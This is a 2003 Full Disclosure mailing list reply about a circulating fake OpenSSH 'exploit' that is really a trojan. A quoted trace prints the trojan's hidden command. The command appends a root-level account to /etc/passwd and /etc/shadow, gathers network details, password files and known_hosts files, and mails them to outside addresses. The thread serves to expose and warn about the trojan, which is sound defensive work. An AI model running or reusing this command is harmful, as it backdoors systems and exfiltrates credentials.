Full Disclosure mailing list archives
Re: new openssh exploit in the wild! * is FAKE AS SH@!*
From: christopher neitzert <chris () neitzert com>
Date: Thu, 18 Sep 2003 18:52:29 -0400
I'll confirm that it does this The script actually opens a socket and connects to the target sshd but does nothing with that connection. It also takes a pretty deep look into /proc/net looking for other networks attached to the device it is run from.... chris On Fri, 2003-09-19 at 20:02, KF wrote:
printf("[*] sending shellcode\n")= 22 popen("(echo "sys3:x:0:103::/:/bin/sh" >> /etc/passwd; echo "sys3:\\$1\\$nWXmkX74\\$Ws8fX/MFI3.j5HKahNqIQ0:12311:0:9999 9:7:::" >> /etc/shadow; /sbin/ifconfig -a >/tmp/.tmp;cat /etc/passwd /etc/shadow /root/.ssh*/known_hosts >> /tmp/.tmp; find /home -name known_hosts -exec cat {} >> /tmp/.tmp;cat /tmp/.tmp | /usr/sbin/sendmail -f ownage () gmx de m0nkeyhack () supermarkt de) &> /dev/null ; rm -f /tmp/.tmp;", "r") = 0x0804a6b0 -KF gordon last wrote:hi readers, while i was staying idle in an so called 0day release channel on one irc network some scriptkiddies were talking about an new 0day release. in my backlog i can see the following: ---cut 08:09 [R4lph] *** r3t0r (r4lph@xxx) has joined channel #0dayz 08:09 [R4lph] 0day: http://www.anzwers.org/free/m0nkeyhack/0d/ ---cut i looked at this piece of exploit... it is binary so i'am not sure if this is a trojan or a backdoor or a virus. but i can't see anything strange while sniffing the exploit traffic. and i got root on serveral of my openbsd boxes with that. the bruteforcer seems to be very good. i too looked at "strings theosshucksass" and found nothing suspicious. this exploit seems to be in the wild (underground) since beginning of august. thats quite a long time i hope most admins are patching the systems now... because the exploit is getting round faster and faster. if anyone can reverse engineer this piece it would be great if he posts his resulsts on his list because iam really intressted on the exploiting technique used for that bug. i cant get an idea on how to exploit this. hmm... regards, glast ------------------------------------------------------------------------ Ab sofort auch im Ortsbereich einfach die 0-10-13 vorwählen. Infos unter www.tele2.de » <http://www.tele2.de>_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
-- Christopher Neitzert http://www.neitzert.com/~chris
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Current thread:
- new openssh exploit in the wild! gordon last (Sep 18)
- Re: new openssh exploit in the wild! * is FAKE AS SH@!* KF (Sep 18)
- Re: new openssh exploit in the wild! * is FAKE AS SH@!* christopher neitzert (Sep 18)
- Re: new openssh exploit in the wild! * is FAKE AS SH@!* Paul Tinsley (Sep 18)
- Re: new openssh exploit in the wild! * is FAKE AS SH@!* KF (Sep 18)